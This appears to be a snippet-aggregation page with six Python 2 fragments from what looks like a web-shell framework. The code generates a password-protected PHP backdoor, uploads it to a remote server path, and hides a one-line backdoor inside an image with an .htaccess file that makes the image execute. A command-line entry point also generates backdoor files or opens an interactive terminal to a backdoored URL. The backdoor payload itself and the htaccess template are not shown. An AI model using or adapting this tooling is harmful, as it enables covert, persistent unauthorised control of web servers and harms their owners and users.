コード例 #1
0
 def __init__(self, modhandler, url, password):
     """ Avoid to load default interpreter """
     self.backdoor = Backdoor(password)
     self.modhandler = modhandler
     self.modhandler.interpreter = True
     self.password = password
     self.name = self.__module__[8:]
コード例 #2
0
    def run_module(self, password, remote_path):

        backdoor = Backdoor(password)
        self.modhandler.load('file.upload').set_file_content(str(backdoor))

        self.modhandler.load('file.upload').run({
            'lpath': '',
            'rpath': remote_path
        })
コード例 #3
0
    def _probe(self):

        filepath, filename = path.split(self.args['img'])
        fileext = filename.split('.')[-1]

        path_img2 = path.join(self.args['ldir'], filename)

        oneline_backdoor = Backdoor(self.args['pass']).backdoor.replace(
            '\n', ' ')
        self.__append_bin_data(self.args['img'], path_img2, oneline_backdoor)

        path_htaccess = path.join(self.args['ldir'], '.htaccess')
        try:
            open(path_htaccess, "w+").write(htaccess_template % fileext)
        except Exception, e:
            raise ModuleException(self.name,
                                  "%s %s" % (WARN_WRITING_DATA, str(e)))
コード例 #4
0
    def _prepare(self):

        self.args['encoded_backdoor'] = htaccess_template % Backdoor(
            self.args['pass']).backdoor.replace('\n', ' ')
コード例 #5
0
 def _prepare(self):
     self.args['encoded_backdoor'] = Backdoor(self.args['pass']).backdoor
コード例 #6
0
        print "[+] Starting terminal. Shell probe may take a while..."

        url = sys.argv[1]
        password = sys.argv[2]

        try:
            Terminal(ModHandler(url, password)).loop()
        except ModuleException, e:
            print e
        except KeyboardInterrupt:
            print '\n[!] Exiting. Bye ^^'

    elif len(sys.argv) == 4 and sys.argv[1] == 'generate':
        try:
            Backdoor(sys.argv[2]).save(sys.argv[3])
        except Exception, e:
            print '\n[!] Creation error: %s ' % str(e)
            raise

    elif len(sys.argv) > 3 and sys.argv[1].startswith('http'):

        url = sys.argv[1]
        password = sys.argv[2]

        if sys.argv[3] == help_string:
            modname = ''
            if len(sys.argv) > 4:
                modname = sys.argv[4]
            print ModHandler(url, password).helps(modname)